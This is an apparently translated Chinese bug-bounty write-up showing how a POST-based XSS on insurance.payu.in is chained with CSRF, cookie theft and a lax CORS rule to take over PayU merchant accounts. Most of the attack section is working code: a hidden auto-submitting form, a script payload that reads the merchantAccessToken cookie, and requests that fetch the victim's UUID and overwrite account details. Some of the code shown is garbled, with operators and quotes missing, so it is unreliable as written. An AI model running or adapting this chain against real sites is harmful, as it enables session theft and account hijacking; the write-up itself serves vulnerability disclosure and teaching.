嗨,我发现了一个基于 POST 的 XSS,然后我将其升级以在受害者访问我的网站时实现完全的帐户接管。所以这是一篇文章,我将在其中向您展示我是如何升级它的。
我在 insurance.payu.in 中收到了 XSS 通知。我决定检查一下,它是一个基于 POST 的 XSS。
所以我们不得不使用基于 POST 的 XSS 和 CSRF 来攻击其他用户。我使用以下表单创建了一个 HTML 文件,当我们访问该网站时,它将提交 POST 参数。
代码语言:javascript复制<!DOCTYPE html>
<html>
<head>
<title>POC</title>
</head>
<body onload="submitPayuForm()">
<script type="text/javascript">
/* auto submit form when user visits our website. */
function submitPayuForm() {
var payuForm = document.forms.payuFormExploit;
payuForm.submit();
}
</script>
<form method="POST" action="https://insurance.payu.in/payment.php" hidden="" name="payuFormExploit">
<input type="text" name="name" value="Aman Rawat">
<input type="text" name="mobile" value="999999999">
<input type="text" name="email" value='email"><script>alert("XSS");</script>'>
<input type="text" name="customerid" value="12345">
<input type="text" name="amount" value="12345">
<input type="Submit" name="Submit">
</form>
</body>
</html>
在上面的代码中,电子邮件参数很容易受到攻击,所以我在那里输入了有效负载,现在在浏览器中打开这个 HTML 文件会弹出一个警报。
这个弹窗够吗?明显不是。XSS 不仅仅是弹出警报。
所以我决定检查天气是否可以升级,所以我在 payu.in 上创建了一个帐户并登录到我的帐户。我更新了我的名字以检查请求,我发现该请求包含身份验证令牌和 cookie。我复制了身份验证令牌并对其进行了搜索,然后我发现 cookie 也使用相同的身份验证令牌,因此我删除了 cookie 以检查他们是否也在检查 cookie 以验证请求的天气。
我发现他们没有使用任何针对 CSRF 的保护措施,因此为了接管一个帐户,我们需要受害者帐户的两件事来从他/她的帐户发出请求。
- UUID
- 身份验证令牌
如果没有 UUID,我们将无法发出请求,因为onboarding.payu.in/api/v1/merchants/<UUID>
请求 URL<UUID>
是用户帐户的 ID,这就是我们需要身份验证令牌和 UUID 的原因。
窃取身份验证令牌
我开始寻找一种从用户那里窃取身份验证令牌的方法。我在 insurance.payu.in 中有一个 XSS,正如我之前提到的,身份验证令牌也存在于 cookie 中,因此当且仅当应用程序与其子域共享 cookie 时,从 XSS 窃取 cookie 是一项简单的任务。在这种情况下,payu.in 与 onboarding.payu.in 共享 cookie,因此我假设它可能与 payu.in 的所有子域共享 cookie,因此我将"><script>alert(document.cookie)</script>
其用作有效负载,并且按预期获得了包含身份验证令牌的 cookie。
我们将身份验证令牌作为 MercerAccessToken 的值,现在我们还需要 UUID 来利用它来对付其他用户,并且猜测 UUID 不是选项。
窃取 UUID
在这里,我转到我的 payu 帐户并开始导航并盲目地按下按钮,以便 Burp Suite 捕获所有请求。在那之后,我找到了一个端点onboarding.payu.in/api/v1/merchants
,我的 UUID 是作为响应的。
利用漏洞
我们有办法获取身份验证令牌以及 UUID。现在我们必须单独获取它们并使用它们来发送请求以更改帐户详细信息。所以我首先从 cookie 中获取身份验证令牌开始。
代码语言:javascript复制function getCookie(name){
var re = new RegExp(name "=([^;] )");
var value = re.exec(document.cookie);
return (value != null) ? unescape(value[1]) : null;
};
alert(getCookie("merchantAccessToken"));
上述函数可用于通过名称获取 cookie 值。假设我们有一个饼干
Cookies: merchantAccessToken=DummyAccessToken
所以要获取MerchantAccessToken的值,我们必须使用 getCookie(“merchantAccessToken”) 所以我们的有效负载是这样的:
代码语言:javascript复制email"><script>function getCookie(name){var re = new RegExp(name "=([^;] )"); var value = re.exec(document.cookie);return (value != null) ? unescape(value[1]) : null;};alert(getCookie("merchantAccessToken"));</script>
现在我们得到了身份验证令牌,是时候获取 UUID 了,我必须使用身份验证标头向 https://onboarding.payu.in/api/v1/merchants 发出请求,所以我为此使用了XMLHttpRequest但它们也是使用此功能的条件是网站中应存在CORS(跨源资源共享)。
所以我检查了 onboarding.payu.in 中的 CORS,发现我们只被允许将源更改为 payu.in 的任何子域,这就是我们需要的 :)
现在我们可以作为经过身份验证的用户向 onboarding.payu.in 发出请求,因为我们在 insurance.payu.in 上有一个 XSS。如前所述,我们将使用XMLHttpRequest 。我使用此 JavaScript 代码发出请求
代码语言:javascript复制var auth = getCookie("merchantAccessToken");
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
//fetch the merchant information that contains uuid
console.log(this.responseText)
}else{
console.log("Login into payu.in to exploit further");
}
};
xhttp.open("GET", "https://onboarding.payu.in/api/v1/merchants", true);
xhttp.setRequestHeader("Authorization", "Bearer " auth);
xhttp.setRequestHeader("Content-Type", "application/json");
xhttp.send();
alert("exploited");
上面的 javascript 代码将使用身份验证令牌向 onboarding.payu.in/api/v1/merchants 发出 GET 请求,然后显示我的帐户信息,其中包括我的帐户的 uuid。
现在必须向 onboarding.payu.in/api/v1/merchants/ 发出 PUT 请求 其中 UUID 将是我们从上述请求中获得的 uuid,所以让我们看看我们如何在 Java Script 中做到这一点。
代码语言:javascript复制var auth = getCookie("merchantAccessToken");
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
var resp = JSON.parse(this.responseText);
var uuid = resp.merchants[0]["uuid"];
var postBody = "{"merchant":{"name":"HACKED"}}";
var targetURL = "https://onboarding.payu.in/api/v1/merchants/" uuid;
var auth = getCookie("merchantAccessToken");
var xhttpExploit = new XMLHttpRequest();
xhttpExploit.onreadystatechange = function(){
if (this.status == 200) {
console.log("exploit completed!");
}
};
xhttpExploit.open("PUT", targetURL, true);
xhttpExploit.setRequestHeader("Authorization", "Bearer " auth);
xhttpExploit.setRequestHeader("Content-Type", "application/json");
xhttpExploit.send(postBody);
}
};
xhttp.open("GET", "https://onboarding.payu.in/api/v1/merchants", true);
xhttp.setRequestHeader("Authorization", "Bearer " auth);
xhttp.setRequestHeader("Content-Type", "application/json");
xhttp.send();
最终的 HTML 代码是这样的
代码语言:javascript复制<!DOCTYPE html>
<html>
<head>
<title>POC</title>
</head>
<body onload="submitPayuForm()">
<script type="text/javascript">
/* auto submit form when user visits our website. */
function submitPayuForm() {
var payuForm = document.forms.payuFormExploit;
payuForm.submit();
}
</script>
<form method="POST" action="https://insurance.payu.in/payment.php" hidden="" name="payuFormExploit">
<input type="text" name="name" value="Aman Rawat">
<input type="text" name="mobile" value="999999999">
<input type="text" name="email" value='email">
<script>
document.body.onload = "exploitNOW";
function getCookie(name){
var re = new RegExp(name "=([^;] )");
var value = re.exec(document.cookie);
return (value != null) ? unescape(value[1]) : null;
};
function exploiPayU(){
var auth = getCookie("merchantAccessToken");
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
var resp = JSON.parse(this.responseText);
var uuid = resp.merchants[0]["uuid"];
var postBody = "{"merchant":{"name":"HACKED"}}";
var targetURL = "https://onboarding.payu.in/api/v1/merchants/" uuid;
var auth = getCookie("merchantAccessToken");
var xhttpExploit = new XMLHttpRequest();
xhttpExploit.onreadystatechange = function(){
if (this.status == 200) {
console.log("exploit completed!");
}
};
xhttpExploit.open("PUT", targetURL, true);
xhttpExploit.setRequestHeader("Authorization", "Bearer " auth);
xhttpExploit.setRequestHeader("Content-Type", "application/json");
xhttpExploit.send(postBody);
}
};
xhttp.open("GET", "https://onboarding.payu.in/api/v1/merchants", true);
xhttp.setRequestHeader("Authorization", "Bearer " auth);
xhttp.setRequestHeader("Content-Type", "application/json");
xhttp.send();
}
exploiPayU();
</script>'>
<input type="text" name="customerid" value="12345">
<input type="text" name="amount" value="12345">
<input type="Submit" name="Submit">
</form>
</body>
</html>
只需打开托管上述代码的链接就可以接管您的帐户:)
概念验证:-